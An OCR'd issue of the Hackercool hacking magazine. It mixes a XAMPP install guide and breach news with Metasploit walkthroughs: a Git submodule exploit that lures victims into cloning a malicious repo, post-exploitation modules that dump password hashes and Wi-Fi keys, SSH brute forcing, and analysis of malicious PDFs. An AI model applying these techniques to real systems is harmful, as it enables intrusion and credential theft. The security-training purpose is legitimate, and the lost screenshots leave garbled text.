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I can do all things through Christ who strengtheneth me.
Philippians 4:13

Editor's Note

Hello Readers, Thank you for buying or subscribing to
this magazine. We are very delighted to release the first
issue of first edition of Hackercool magazine.

Let me infroduce myself. My name is Kalyan
Chakravarthi Chinta and | am a passionate cyber securi-
ty researcher (or whatever you want to call it). | am also
a freelance cyber security trainer and an avid blogger. But still let me make it v
-ery clear that | don't consider myself an expert in this field and see myself as a
script kiddie.

Notwithstanding this, | have my own blog on hacking, hackercool.com.
This blog has a dedicated Facebook page and Youtube channel with name
"Kanishkashowto”. [ also developed a vulnerable web application for practice
"Vulnerawa" to practice website security.

This magazine is intended to deal with real world hacking, hacking as clos
-e to reality as possible, both black hat and white hat. | am hopeful this magazi-
ne will be helpful not only to the beginners who want to come into field of cyber
security but also experts in this field. This magazine is also helpful to people wh
-0 want to keep themselves safe from the malicious hackers.The main focus of
this magazine is dealing with hacking in real world scenarios. i.e hacking with
antivirus and firewall ON. My opinion is that we cannot improve security consci-
ousness in users until we teach them the real world hacking.

In this issue, we are back with a Real World Scenario in Forensics. We very
well remember how some people raised doubts of our intentions when we relea
-sed the first issue of this magazinThey suspected that this PDF magazine was
boobytrapped wit malware to hack innocent victims. So at the end of our zeroet
-h edition and the beginning of our First edition, we once again decided to show
how PDF files can be analysed to see if it is malicious or not, but this time with
a different tool.

This magazine is available for subscription on Magzter and Gumroad and
more recently at Playster. It is also available for sale on Kindle store,24symbol-
S, iBooks, nook, kobo, Pagefoundry and Scribd. If you have any queries regard
ing this magazine or want a specific topic please send them to our mail address
qa@hackercool.com and please don't forget to like our Facebook page
"Hackercool”. Until the next issue, Good Bye.

K&Hwﬂk
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Hackercool Magazine Successfully Completes Edition 0

TESTIMONY

And ye shall know the truth, and the truth shall make you free.
Philippians 4:13

Hello Readers of Hackercool Magazine. First of all | would like to apologize to

you for replacing a Real World Hacking Scenario with a testimony of my life this
month. But | thought that it is important for our readers to know this. By the grac
-e of GOD, Hackercool Magazine has successfully completed one edition.that is
Edition 0 and with this issue has moved into Edition 1. | want to thank all our rea
-ders without whom this may not be successful.

Here's a short note on how Hackercool Magazine started. It was the brain
child of a boy who was determined to be a ethical hacker irrespective of the circ
-umstances at that time. Just like many people he took a course in hacking and
expected to get a job. He soon realised that would be practically difficult or infac
-t impossible. Adding to that, companies preferred experienced candidates over
freshers and keeping fake experience for his job was out of question (Did | forg-
et to mention he is an ardent fan of Captain America). And the rest as they say i
s Hackercool Magazine.

The main aim of this magazine is to teach Real World Hacking. We try to
include as many Real World Hacking Scenarios as possible. Even other section
s also are focussed on Real World Scenarios. Why do we want this? There are
many resources that teach a misdirected version of hacking which may include
hacking performed by turning of the firewall etc. This we believe will create a fal
-se sense of security in the minds of the users and also penetration testers. Nev
-ertheless we also take care that the information from our magazine cannot be
misused.

In our new edition, we have decided to delve into security of common use
-rs more seriously. We have decided to add more sections concerning security
of common computer users. This apart from including more sections on ethical
hacking. We have stressed to keep the language simple so that people can eas
-ily understand the concepts. If you have any suggestions or questions, you are
always free to send them to us. We hope you will enjoy this edition as much as
our previous edition. Once again, we would like to apologize for replacing this
testimony in place of a Real World Hacking Scenario.

Thanking GOD for the wisdom he has given me to prepare this magazine.
Thanking You

Editor
Hackercool Magazine.



INSTALLING XAMPP SERVER IN UBUNTU 16

INSTALLIT

In our eternal journey of learning hacking and penetration testing, we need to install or set up
so many software and labs. XAMPP server is one such important installation that may be use
-ful to us especially if we want to become expert in web hacking.

XAMPP stands for Cross-Platform (X), Apache (A), MariaDB (M), PHP (P) and Perl (P).
It is a simple, lightweight Apache distribution that makes it extremely easy for developers to ¢
-reate a local web server for testing and deployment purposes. It is open source and very sim
-ple to set up. Once we set up Xampp Server, we can install any CMS in it to practice website
hacking or web security.

In this month's issue of Hackercool Magazine, we will see how to install Xampp web ser
-ver in Ubuntu 16 Desktop. This Ubuntu Desktop is installed as a virtual machine in Vmware
Player ( You can also use Oracle Virtualbox).Ubuntu (or for that matter any Linux distribution)
has a default web server installed. But | decided to install Xampp server for its simplicity and
ease of use.

Why are we setting this up in an Ubuntu system? Because most of the web servers in re-
al life are set up in Linux and this makes it easy for us to simulate real world hacking attacks.
Now lets get to the installation part. Go to the downloads page of Xampp server and downlo
-ad the appropriate version (Many people download the 64 bit version and try to install it in 32
bit OS). For this tutorial, we are using the Xampp version 5.6.23.0 32 bit version since my OS
is 32 bit.

€ Oa sourceforge.net, € A 5.23 ¢ || Q searc B ¥+ @ =
Probs
Supporting customers -~y
sourceforge @freshdesk L am effort Y

Summary Files Reviews  Support Wiki Code

Looking for the latest version? Download xampp-linux-x64-7.1.10-0-installer.run (137.6

MB) p_l_esk

Home / XAMPP Linux / 5.6.23 B
Name # Modified + Size * an::;ziil Get up to $ 500
et i Build with Plesk

xampp-linux-x64-5.6.23-0-instal... 2016-06-28 135.5MB T 1| o Scale on AWS

xampp-linux- 5.6.23-0-installerrun  2016-:06-28 130.8 MB 115 |dm [i] _
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phpMyAdmin
A software tool to bring MySQL to

The download should complete in a short time depending on the speed of your internet. Onc-
e the download is finished, open terminal. This can be done by clicking on search app at the t-
op left of the Ubuntu Desktop and searching for terminal.

Once the terminal is open, navigate to the Downloads folder as shown in the image be
-low. Type "Is" command to see a .run file of XAMPP server. Use command "chmod" to chang
-e the permissions of the "run" file. Once the colour of the .run file changes, execute the file
by using command "./xampp-linux-5.6.23-0-installer.run" with quotes.



mples.desktop

:~S cd Downloads
useri@ubuntu s$ 1s
xampp-linux-5.6.23-0-installer.run
useri@ubuntu:~/ 1 . [xampp-linux-5.6.23-0-installer.run
bash: ./xamp X- .23-8-installer.run: Permission denied
useri@ubuntu:~/ ! chmod 755 xampp-linux-5.6.23-0-installer.run
useri@ubuntu [ s$ 1s
aller.run
adsS . /xampp-linux-5.6.23-0-installer.run

If you get an error as shown below, then you are not running with root privileges which are re-
quired for executing this file.

There has been an error.
~ This installer requires root privileges, Flease become

superuser before executing the installer

Click on "OK" and execute the .run file with sudo command as shown. When it prompts for su
do password, give the password.

userl@ubuntu:~/Downloads$ sudo . /xampp-linux-5.6.23-8-installer.run
[sudo] password for useri: ||

The setup will start as shown below. Click on "Next".

Setup - XAMPP

Welcome to the XAMPP Setup Wizard,

= Back l [ Next = l [ Cance




Click on "Next" again.

v

Select Components =i

Select the components you want to install; clear the components you do not
want to install. Click Next when you are ready to continue.

[X] XAMPP Core Files Click on a component to get a detailed
[®] XAMPP Developer Files description

HAMPP Installer

=< Back H MNext = H Cancel

The system will show you the directory in which this server is being installed. Click on "Next".

Installation Directory IH I

¥AMPP will be installed to fopt/lampp

HAMPP Installer

=< Back H MNext = H Cancel

Click on "Next" again



Bitnami for XAMPP

Bitnami for XAMPP provides free installers that
can install Orupal, Joomla!, WordPress and
many other popular open source apps on top
of your existing XAMPP installation.

https: fhitnami.camfxampp

Learn more about Bitnami for XAMPP [

HAMPP Installer

= Back H Mext = H Cancel

The system will show you a message that it is ready to install XAMPP server on your comput
-er. Click on "Next".

—
Ready to Install -~
Setup is now ready to begin installing XAMPP on your computer.
KAMPPR Installer
= Back l [ Mext = l [ Cancel

The installation process will start as shown below. It will take a bit long of time but it should
not be too longer. Just go to a small stroll and come back.



Welcome to XAMPP! w

XAMPP is an easy to install Apache distribution
containing MySQL, PHP and Perl

Installing
Preparing to Install
KAMPP Installer
= Back ] l ext = l ’ Cancel ]

After the installation is finished, you will be shown a window as below. Make sure that the "La
unch XAMPP" checkbox is enabled and click on "Finish".

Completing the XAMPP Setup Wizard

EE———
Setup has finished installing XAMPP on your
computer,
[®| Launch XAMPP

0 bithami

= Back ” Finish H Cancel

The XAMPP server application is launched as shown below.



Welcome | Manage Servers | Application log

Welcome to XAMPP 5.6.23-0

Follow XAMPP

2 flv

Go To Application

Open Application Folder

|
|
Visit Apache Friends |
|

Get Started

Go to tab "Manage Servers" as shown below. Make sure that Apache web server and
MYSQL database servers are running. If any service is not running, you can start them using
buttons given below. The services should be green in colour.

XAMPP 5.6.23-0
Welcome | Manage Servers | Application log

Server |

Status

Start All

® MySQL Database Running Sta
ProFTPD Stopped
o p Stop
8 Apache Web Server Running
Restart
Configure

Stop All

Restart All

Now let's see if you can access the phpmyadmin of the web server. PHPmyadmin allows yo-
u to manage databases from the browser, Open a browser and type "localhost/phpmyadmin”

in the tab to access phpmyadmin.

Have any installation request. Let us provide you the
complete guide. Send them to
qa@hackercool.com




If everything went well, you should see this page.

« locathost / localhos x
“ localhost T8 $ & O =
php M (9 Server localhast x
- 3 Databases SQL & Status *  User accounts =+ Export w Import Settings Replication
Recent Favorite Engines
New 1 3-MariaDe
+. . information_schema
% 4 mysql
4 . performance_schema « Server charset: UTF-8 Unicode (utf8
%5 phpmyadmin § language @: E 4
+_ 4 test
mahomme
PHP ¢
PHF
mConsole

Now let's see if we can access a website on the web server. In the browser window, just type
"localhost" without quotes and you should see the webpage given below. This is the default
webpage of XAMPP server.

€ @ |localhost ar El| & ||Qse B8 ¥ & @ =

Apache Friends Applications FAQs HOW-TO Guides PHPInfo  phpMyAdmin

o
Rting?d

XAMPP Apache + MariaDB + PHP + Perl

Welcome to XAMPP for Linux 5.6.23

You have successfully installed XAMPP on this system! Now you can start using Apache, MariaDB, PHP and other components. You can
find more info in the FAQs section or check the HOW-TO Guides for getting started with PHP applications.

Start the XAMPP Control Panel to check the server status.

Community

XAMPP has been around for more than 10 years — there is a huge community behind it. You can get involved by joining our Forums,
adding yourself to the Mailing List, and liking us on Facebook, following our exploits on Twitter, or adding us to your Google+ circles.

Everything is set with our XAMPP web server. The XAMPP server can be started or stopped
form the terminal using given commands as shown below.

useri@ubuntu:~5 sudo /fopt/Llampp/lampp start
[sudo] password for useri:

Starting XAMPP for Linux 5.6.23-0...

XAMPP: Starting Apache...already running.
XAMPP: Starting MySQL...already running.
XAMPP: Starting ProFTPD...ok.

useri@ubuntu:~$ sudo /fopt/lampp/lampp stop
Stopping XAMPP for Linux 5.06.23-0...
XAMPP: Stopping Apache...ok.

XAMPP: Stopping MySQL...ok.

XAMPP: Stopping ProFTPD...ok.
useri@ubuntu:~S$ [




SOUTH AFRICAN DATA BREACH

HACK OF THE MONTH

South African data breach is one of the uniqu-
e data breaches recorded for the reason that
although a large amount of data has been bre
-ached, it did not involve any hacking.

What?

23 gigabytes of data containing personal data
belonging to around 60 million South African
citizens has been leaked. This data consisted
of names of people, their gender, ethnicity, ho
-me ownership and contact information like
mobile numbers and email addresses.

It also included people's unique 13 digit id-
entity numbers and also their estimated incom
-e.

The data also includes
personal info of South
African President Jacob
Zuma, Finance Minister
Malusi Gigaba and Pol-
ice Minister Fikile Mbab
-ula.

It is being called South Afr

-ica's largest ever data breach and rightly so
as almost every South African may get affecte
-d by this breach.

How?

All the leaked data was part of a database
called "masterdeeds.sql". The possible sourc-
e of this database maybe a company called
Dracore. Dracore is a South African company
that deals with data sciences.

Dracore develops consumer database
which provides up-to-date consumer data for
various clients. The company says its data is
updated every 24 hours.

Although the source of the leaked data
-base is considered Dracore, there is no fixed
evidence that the breach happened at this co-
mpany. It may be possible one of the custome
-rs of Dracore may have been responsible for
the breach.

One of such customer may be Jigsaw
Holdings. Whoever it was, the 27GB databas-
e named masterdeeds.sqgl was available on a
publicly accessible web server with directory

The 27GB database
named masterdeeds.sql was
available on a publicly
accessible web server with
directory browsmg enabled
since year 2015.

browsing enabled. Directory browsing is a co-
nfiguration in the web server settings which al
-lows users to view all the directories of the w
-eb server.

This database file was available on the
particular web server since almost year 2015.

Who??

As already mentioned, this hack did not even
need any finding of vulnerability and exploitin-
g it. Anyone can visit this website and downlo-
ad the "masterdeeds.sql" file. Since the last m
-odified date of the file is in year 2015, many
users may have downloaded it.
It is unknown how many may have accessed
it and who exactly may
have downloaded it.
The file may even be
available before 2015
and that makes the ch
-ances of downloads
of the file even more.

Aftermath

This is a lot and lot of personal data which ma
-y be used easily in fraud. Using this data,any
-one can create a bank account or a credit ca
-rd, both clear cases of identity theft.

Exposed email addresses and mobile nu
-mbers imply users should prepare themselve
-s for a lot of spam and spurious calls respecti
-vely.

Phishing and spear phishing attacks may
also be seen. The leakage of this data will ev
-entually lead to many social engineering atta
-cks.

Investigation of the masterdeeds.sql dat-
a leak has been given to Hawks cyber crime
unit. Home Affairs department and the Inform-
ation Regulator of South Africa have also laun
-ched their own investigations.

As the investigations go on, the users of
South Africa should be ever vigilant not to fall
victims to any impersonation attack made pos
-sible by this data breach.



PETER SEVERA

HACKSTORY

On 10 April 2017, the Spanish police barged But how did US authorities get to Peter Sever-
into a apartment in Barcelona, Spain and arre a. Peter Severa was his hacker moniker and
-sted a Russian national named Pyotr Yvurvey not his real name. Then how did US figure out
-ich Levashov. The Spanish police were actin- that the Russian national they arrested was in
g on a request from the American FBI. fact Peter Severa.

Pyotr Levashov or Peter Levashov has The moniker Peter Severa translates as
many aliases. He is famous (or rather infamou Peter of the North which may in turn refer to hi
s) in hacking circles as Peter Severa, the bot- -s hometown St.Petersburg or may be Peter
master of Kelihos botnet. US department of J- North, a porn star (in a reference to his online
ustice acknowledged the arrest of Peter Sever pornography business). But Brian Krebs, the
-a with cooperation of the Spanish authorities. American security researcher opined that Pet-

Kelihos botnet came into existence in 2010
just after the Storm botnet was taken down. T-
his botnet has infected over 1,00,000 Window
-s computers worldwide, with around 10 perce
-nt of them in United Sta
-tes.

The botnet since sev
-en years has been us-
ed to send millions of
spam mails.The spam
messages consisted of
fake drugs, fake antivirus and other fradulent
schemes. It was also used in spreading dang-
erous banking malware like Vawtrak and Kron
-0s. So dangerous was this botnet that Peter
Levashov was No. 7 in European Spamhaus
list of worst spammers.

Just 24 hours before his arrest, the FBI
started taking the botnet down using the Rule
41 warrant. This warrant enables the authoriti-
es to redirect all the Kelihos infected compute
-rs to connect to a different domain and then r
-ecord their public IP addresses. Then these
addresses would be given to people who can
help disinfect the malware.

However this was not the first time an at
tempt was made to take down the Kelihos bot
-net. Attempts were made in 2011, 2012 and
2013. But the botnet resurfaced again and ag-
ain and spread malware that harvested crede-
ntials from infected computers, even bank log-
in credentials.

FBI was hot on his
digital trail. When they fiqured
out that he would be in
on a vacation with his family,

they decided to make their
move.

er Severa could be another Russian man Vict-
or lvashov.

But American authorities are sure they
got the right man. Peter Levashov refused to
meet his business asso-

ciates personally and
never used phone for c
-ommunication. He ins-
tead relied on encrypte
d messaging services
to keep himself secure

pain

from authorities.

But his one minute mistake gave him away.
He used the same login credentials for his cri-
minal enterprise and his iTunes service. FBl w
-as hot on his digital trail. When they figured o
-ut that he would be in Spain (which has a rec
-ord of co operation with United States) on a
vacation with his family, they preponed the arr
-est date on papers and took him into custody.

They confirmed Levashov was Severa
and linked him to Kelihos by matching his log-
in credentials on sites like Apple, Google and
FourSquare and also IP addresses. But still s-
ome doubted that Americans arrested the righ
-t guy.

If Americans indeed arrested the right g-
uy, it is a big victory for cyber security agencie
-s against spam. Recently Spain has agreed t
-0 extradite Peter Levashov to United States.
America is hopeful that Peter Severa may pro
-vide more information that may help them.



Git Submodule Command Execution, Shell to Meterpreter, Linux Enumeration

METASPLOIT THIS MONTH

Hello aspiring hackers. Welcome to Metasploit This Month. As always we will learn about so
-me modules of Metasploit.

Git Submodule Command Execution Exploit

If you are a developer, cyber security enthusiast or atleast a computer savvy user, you should
have definitely used (or heard about) Github. Git is an open source version control system de
-veloped by none other than the awesome Linus Trovalds (yes the same guy who created Lin
-ux). It is a system designed to keep in touch with constant changes made to the code of soft
-ware by developers.GitHub is a popular hub where developers store their projects and netw-
ork with like minded people. Github stores information in a data structure called a repository.

The particular module exploits a vulnerability in Git submodule. Git submodules allow us-
ers to attach an external repository inside another repository at a specific path.This vulnerabi-
lity in the Git submodule can be exploited by an attacker who can change the URL of a sub-
module in a repository. This URL in the submodule can be changed to point towards a malici-
ous link.

This module is a local exploit and works on Git versions 2.7.5 and lower. Now let us see
how this module works. Start Metasploit and load the exploit as shown below. Type comman-
d "show options" to see all the options we need for this module to run.




First, we need to configure the malicious Git server. Set the options : LHOST, git_uri and Ipor
-t options as shown below. The git_uri option sets the malicious git submodule. Use comman-
d "run" to start our git server. As the user git clones from our URL, we will get a command ses
-sion on the target.

Now we need to send this malicious Git url to our intended victims. Probably it should be set
as a software to convince the users to clone into their machine. Here we are testing this on K
-ali Linux 2016 machine which has the vulnerable version of Git installed. We need to instruct
the user to update the submodule just cloned. Let us see what happens on the victim machin
-e.
:~/pentest# git clone http://192.168.41.128:8080/gitexploit
Cloning into 'gitexploit'...
Checking connectivity... done.

cd gitexploit
it# git

As this happens in our victim system, we will already get a command shell on our attacker sy
-stem as shown below.




Shell to Meterpreter POST Module

Since we have got a command shell on a Linux system, let us see how to perform Linux enu-
meration with Metasploit. But first let us see how to convert this shell into meterpreter sessio-
n.Go back from the command shell and load the shell to meterpreter session as shown below

Set the required options and the session id as shown below and execute the exploit using
"run" command as shown below. If everything goes right, we will have meterpreter session a
-s shown below.

4 )
Have any hacking related queries. Let us provide you the

solution. Send them to
qa@hackercool.com




When you type command "sessions -I" we can see the newly opened meterpreter session a-
long with the previously opened shell session.

We can interact with the meterpreter session using command "sessions -i 3". Let us look at
some of the system information of our target.

Linux Configuration Enumeration POST exploit

Ok, since now we have the meterpreter session on the target system let us perform some en-
umeration on the target Linux machine. Metasploit has many POST exploits corresponding to
Linux enumeration. We will see some of them this month. The first module we will see is Linu
-x configuration enumeration.

The enum_configs module is used to collect information from the configuration files found
of applications commonly installed in the system. These applications may include Apache, N-
ginx, Snort, MySQL, Samba, Sendmail, sysctl, cups, lampp and SNMP etc.

This POST module searches for a config file in the application's default path and if the a

-pplication exists on the target system, the module will download the files and store it.

If the application doesn't exist or the config file is moved from its default location, this module
will display the "file not found" message. (Just like any POST exploit or as shown above in th-
e shell _to_meterpreter exploit, we need to background the current session and load the POS
T module as shown above. Then set the session id and run the exploit). Here is the enum co-

nfigs module in action as shown below.



Linux Network Enumeration POST exploit

As the name implies, this POST module performs network enumeration on the target system.
This module gathers information such as route table, Firewall configuration, DNS configuratio
-n, SSHD configuration, System Host file information, Active Connections, Wireless informati-
on and listening ports etc.

It downloads all this information and stores this information in text files as shown below.



Linux Enum Protections POST Module

This module tries to find certain applications in the target system which can prevent or detect
our hacking attack. It does this by locating these applications in the Linux binary folder. Linux
binary folder has executables. This module enumerates antivirus, rootkits, IDS/IPS, firewalls,
and other software intended for protection of the Linux system.

This module in action is shown below. | didn't print out the result as it was taking lot of time to
display the result.




Linux Enum PSK POST Module

This module is an interesting one. It tries to collect credentials of all the Wireless networks th-
e target system has connected to. It does this by collecting access point names and their pre
shared keys from the /etc/NetworkManager/system-connections files.

This module in action is shown below. Since the target we are using is a virtual machine and
did not connect to any wireless networks, my result is "no PSK found".

Linux System Enumeration POST Module

This module collects the complete system information about the system. The information it co
-llects includes the OS version, stored user accounts, installed packages, services running, ¢
-ron jobs, various log files and Disk information etc. All these are downloaded and stored in
various text files.




Here's the module in action as shown.

Linux Gather Hashdump POST Module

This module collects all the password hashes from the target Linux system. In Linux system,
these hashes are present in 'passwd' and 'shadow' files.

We can see this module in action in the image shown above.

Linux Gather Tor Hiddenservices POST Module
This module collects the hosthames name and private keys of any TOR hidden Services run-
ning on the target machine. It does this by searching for torrc file and if found will parse it for
the directories of Hidden services.

That's all in this issue of Metasploit This Month and we will be back with more interesting mo-
dules in the next issue.



GAINING ACCESS TO THE SSH SERVER, AGAIN

METASPLOITABLE TUTORIALS

The lack of vulnerable targets is one of the main problems while practising the
skill of ethical hacking. Metasploitable is one of the best and often underestimated
vulnerable OS useful to learn hacking or penetration testing. Many of my readers hav-
e been asking me for Metasploitable tutorials.So we have decided to make a complete
Metasploitable hacking guide in accordance with ethical hacking process. We have

planned this series keeping absolute beginners in mind.
In the last issue, we saw how to exploit the vulnerable VSFTPD server. In this is-

sue, we will see how to gain access to the SSH server of the Metasploitable 2 system.

In the previous issue, we have seen how to research about a vulnerability in the FTP service
running on our target system and exploit it to gain a shell on that system. In this issue, we will
target the SSH service running on port 22. It can be seen that the target is running OPenSSH

4.7p1 SSH server.

| googled about the above mentioned version to find out if it had any vulnerabilities and exploi
-ts for that vulnerabilities. After an arduous search, | found one exploit but that seemed to be

not working (lts not always a positive result in hacking).



Remember that we already gained a shell on the SSH server in one of our previous issues.
We obtained this with the credentials we obtained during enumeration of the target system.
(This is why enumeration is so important). We used this credentials in a Metasploit SSH login
m -odule to get a shell on our target system.

This time we will see another way of gaining access to the SSH server using the same m-
odule. This SSH login module can also be used to brute force the credentials of the SSH serv
-er. Let's see how it works. Load the module and check the required options.

In order to brute force the credentials, we need to specify a dictionary for cracking username-
s and passwords in the similar fashion we set while using Hydra. We will use the same dictio-
nary we have used while performing password cracking with Hydra.

| have set the same file for both username and passwords. To conserve time | have
set the option "stop_on_success" to True. This option will stop the brute forcing if it finds one
login credential. | have set the "verbose" option also to TRUE. This module is normally used
to brute force multiple SSH servers at once. That's the reason it has "RHOSTS" option instea
-d of "RHOST" option. Any how we can still set a single IP as target.

All the options are shown as below.



Once the password is cracked successfully, the module displays the credentials and automat
-ically gives us a shell on the target system as shown in the above image. The available sess
-ions can be viewed as shown below.

w.




PDF FORENSICS WITH PEEPDF

FORENSICS

PDF or Portable Document Format has become the most popular format for exchanging vari-
ous types of documents online whether it be ebooks, brochures, magazines, bills or even invi
-tations. But in cyber security, popularity brings its own problems (as time and again mention-
ed in our Hackercool Magazine).

In recent days, we have seen PDF malware increasing rapidly. This is because PDF fil-
es contain lot of dynamic content. A malware can be made to launch when an innocent victim
clicks on the malicious PDF file. Even Javascript can also be embedded in the structure of th
-e PDF to open a malicious link that will then download the malware to the system.

This month we will see how to analyse a PDF file to find out whether it is malicous or n
-ot using a tool called Peepdf. In one of our previous issues, we saw two tools which perform
forensics on the PDF files. The speciality of this tool is that it combines all the functions of diff
-erent tools into one.

We will be testing our tool on three PDF files. The first one is one of our copies of Hac
-kercool Magazine. This file is named "test.pdf". The second PDF file is created with Metaspl-
oit embedded exe module as shown below. This is named "test2.pdf".




Our test files are ready. Now open a terminal in Kali Linux and type "peepdf" to open our prog
-ram. Peepdf is by default installed in Kali Linux. It will show you the tool's help menu.

Hackercool Magazine is keen to listen to your feedback.
Send us your feedback to
ga@hackercool.com




The output should be something as shown in the above images. As you can see, it classifies
the contents of the test file as objects, streams and encoded etc. We will learn everything ab-
out these soon. We can also right away check the signature of the file on VirusTotal using the

¢" command. This is shown below.

As you can see above, our file is not found on VirusTotal. Obviously though. This is our maga
-zine.The complete power of this tool can be utilised by using the "interactive" option. The int-
eractive option .

The interactive option allows us to forensically analyze the file with more detail. Interacti-
ve mode can be activated using the "i" option. The syntax is as shown below.



To view all the options in the interactive mode, type command "help".

Let us look at some of the comands. The "info" command will give us the same result as in th
-e beginning. It will show us all the objects, sterams, encoded fields and etc. Its result is as s-
hown below.



Another important command is "metadata”. Metadata means the data about the data. Every fi
le on internet has metadata. Metadata can reveal a lot of information about the file like when i

-t was created, software used to create this file etc. Let us see if our "test.pdf" has any metad
-ata.

As you can see in the above image, our file reveals a lot of information about itself like the da
-te it was created on and the software used to create it.

To learn about more commands, let us now test the file "test2.pdf" using interactive m-
ode. This is the result.

As you can see instantly, this file has more suspicious elements than the previous one. It has
one OpenAction element, one Launch element, one JavaScipt and one embedded file. Objec
-t 8 is encoded. It is even showing us the respective objects these elements are in.



Let us see if this file also give us any metadata, nothing, It doesn't even show its header file.

tput limit

The "tree" command show the structure of the elements present in the respective order.

The "vtcheck" command will check for the signature of the file in VirusTotal. The result is neg-
ative. But we can't give a clean chit to a file based on VirusTotal. It could be a new malware
still unknown to VirusTotal.

All the objects can be viewed using the "object" command. We have seen the object number-
s in the beginning of the scan of this file. Let us view each object of this file to know more abo
-ut them.



Given in the above image is the contents of the Objects 1, 2 and 3. Object 3 appears to be a
media box. Object 1 leads to a "OpenAction" which is the first action that will be taken when t
-he user opens the pdf file. Before going to Object 10, let us have a look at Object 5 which is
also referenced in Object 1.

As we can see in the above image, Object 5 refers to an embedded file in Object 6 which in t-
urn refers to a template in Object 7. Object 7 refers to Object 8 and a template. Now let us ha
ve a look at Object 9 which was referenced in Object 1 and which is the first action that may
take place after the user opens the pdf file.

{ cName: "template", nLaunch: 0 }); >>

Object 9 consists of some Javascript code. Now let us see what does this do? This will extrac
-t some code to a file referenced by CName called "template" which will be created. The opti-
on nLaunch determines whether the the file should be launched or not after creation.This opti
-on set to "0" means that this file will not be launched after creation. The most interesting to o
-bserve would be to view Object 8 since it is referred to by Object 7 as "template.pdf. Also n-
ote that Object 9 creates this file "template.pdf".



Peepdf showed Object 8 as encoded as shown below. This may doesn't make any sense to ¢
-ommon users but for hackers encrypting the payload is one of the best steps.

Initially we have seen that Object 8 is a stream. We can view the stream using the "stream" c
-ommand. As you can see, it also is not clear and doesn't make any sense as it is encoded fo
-rm.

Encoded streams can be decoded using Peepdf. But first let us see the type of encoding don
-e on this Object. This can be done using the "info" command as shown below.



So it is Flatencoded. Now let's decode this. This can be done by saving the rawstream of Obj
-ect 8 to a file as shown below (rs8.out). Now decode the stream of this file using decode co-
mmand in peepdf to another file (rs8decoded.out). | saved this file to my Desktop to simply s-
ee what type of file it is. This can be done by using the "file" command in Linux.

As you can see in the above image, it is a portable Windows executable. Now let us check th
e signature of this file in VirusTotal. As already explained, this can be done from Peepdf as sh
-own below.

As expected, many (51 of 67) antivirus classify this file as a malware or to be precise as a Wi
-ndows Trojan. Till now, this can be understood. As soon as the innocent user opens the pdf
file, a window opens which will simultaneously create a file named "template". This file will no
-t launch. This template consists of a Windows Portable Executable as payload. This all looks
fine but how is this file called? If you observe all the objects present in the pdf file again, the
object number 10 is named as "Launch".



Let us have a look at Object 10.

AS we can see in the above image, Object 10 launches a shell and searches for the payload
Object 8 in different locations. This will complete the exploit.

Now let us look at our third subject file. i.e test3.pdf. On opening it in the interactive mode, we
can see it as shown below.

It has five objects. The first object seems to the OPenAction object. i.e the action that takes
place once the pdf file is opened. So let us have a look at it first.

This is a Javascript file referring to objects 2 and 5. It seems as soon as the file is clicked upo

n, it pops up a hta window named YrFd.hta which is created in the Windows Temp folder. Hta
stands for HTML application file.



Object 2 is referring once again to Object 5 and this Object in turn refers to Object 4.

Object 4 is also a stream so | right away use the stream command to view this object. This o-
bject is not encoded and can be seen as follows.

It is Javascript code. The important part of the code is underlined in red. It is an IP address to
which this code will connect to and then will create a shell. This shell will run the file created
in the Temp folder of Windows without launching it. That's all in this month's Forensics. We wi

-l be back with a new Forensi tool next month.



IGNORED

HACKED - The Beginning

| was very much seriously getting involved in the case (First of all, why | am calling it a case).
Nlranjan was sure it was a case of hacking, but even with my pre-amateurish forensic kills, |
was sure it was a clear case of somebody using his download data. Since it was not a WI-Fi
network, there's a pretty less chance of somebody hacking it. Was there some serious hackin
-g going on beyond my knowledge? | was seriously thinking about it day and night.

Soon the company Omax called me for another round of interview. Six of us met aga
in. | put on my best of the formal dresses and attended it. My confidence levels were pretty hi
-gh on that day. All of us were called into a room where a man dressed in formals asked us to
have a seat. He asked each and everyone of us to tell us about ourselves, Everybody had a
predefined answer. | told him mine and ended it by saying that | wanted to be a penetration te
-ster. He right away asked If somebody told me for what role | am here.

| said "No". | should have right away understood that my chances of getting selected
there were slim there, but | didn't. Blame it on inexperience, in whatever way. After some time
they sent us away saying they will call us again. We six of us were on our own way again. On
-e of them was very encouraging and appeared to be a team player. He said that | will definit-
ely be selected since | got a very good grade in security.

We were forming into a team, | thought. A team which will be working together if we
got selected. That's would be good indeed. Meanwhile | was fixated on my friend's case. Sinc
-e hacking was ruled out in this case, | began to check out who had access to this computer
for using its bandwidth. There are two people if it is not hacking. My friend and his relative. |
ruled out his relative as he had neither motive nor seemed interested in such things (I saw hi-
m).

The second suspect is my own friend. But that would be illogical. He had more advan
-tage in not even telling me about the data speed. Yeah, no matter he is a young boy but still
reaching the FUP in 10days is too much. That would be embarrassing for him to admit. He w-
ould have kept quiet instead.

Just as it was turning into a cold case (I watch lot of police related stuff), a thought fla
shed into my mind. | was ignoring one suspect. His weird looking neighbour.He could have d-
one that. He was young and looked suspicious. | right away called my friend and got to know
that he would always give the keys to him since he had no idea when his relative would turn
up. | conveyed my suspicion to him. My friend said that he would'nt do anything like that and
gave him a clean chit.

| did not prolong this matter but was confident that he may be the one. | asked my fr-
iend not to give him keys for one month. My friend agreed. As nine days went by, my friend s
-aid he was vacating his room urgently as he had to go to his village and would not come bac
-k for some days. C'mon man. | was disappointed a bit but was helpless. | asked my friend to
check his data limit but he could'nt due to his packing.

This was a disappointment. | expected something from this case but it would not be.
Just like everything around me. After two days my friend Niranjan called me and told me that
on the day of his journey his neighbour asked permission to use his system for downloading
something. He told me that the download was happening very inside a window.

To Be Continued



HACKING Q&A

Q: Hi. | googled importing of exploits from
exploit-db to MSF. But all examples are rub
-y scripts. | tried to import python.py script
-s, then i performed Search on MSF promp
-t but the added .py exploit did not appear
in the Search results. | tried both
(1)/root/msf4/modules and

(2) /usr/share/metasploit
-framework/modules/. Both without succes
-s. How do we import python scripts from
exploit-db into metasploit? -Marko.

A: Hello Marko, Metasploit is entirely coded in
Ruby and at present it only supports Ruby ex-
ploits.It doesn't support modules or scripts wri
tten in Python. This is the reason why python
exploits do not appear in Metasploit search re
sults.

Q: While practising hacking, how can | set
my own IP address as target. - Ronato.

A: Ronato, This question of yours is ambigiou
-s. What do you mean by own IP address. If y
-ou want to set the IP address of the machine
from which you are hacking, you can set it as
127.0.0.1. If you are in a LAN and want to set
your gateway as target IP, then do "ipconfig"(if
it is @ Windows system) or "ifconfig" (if itis a L
-inux system) and find out your system's local
IP first. Then change the last bit to "1" or "2".
Still this can be answered better if the questio
-n was bit clear.

Q: Hi, | have read your Art of Phishing artic
-les. But | am confused a bit. What will be
shown next to victim on phishing page aft-
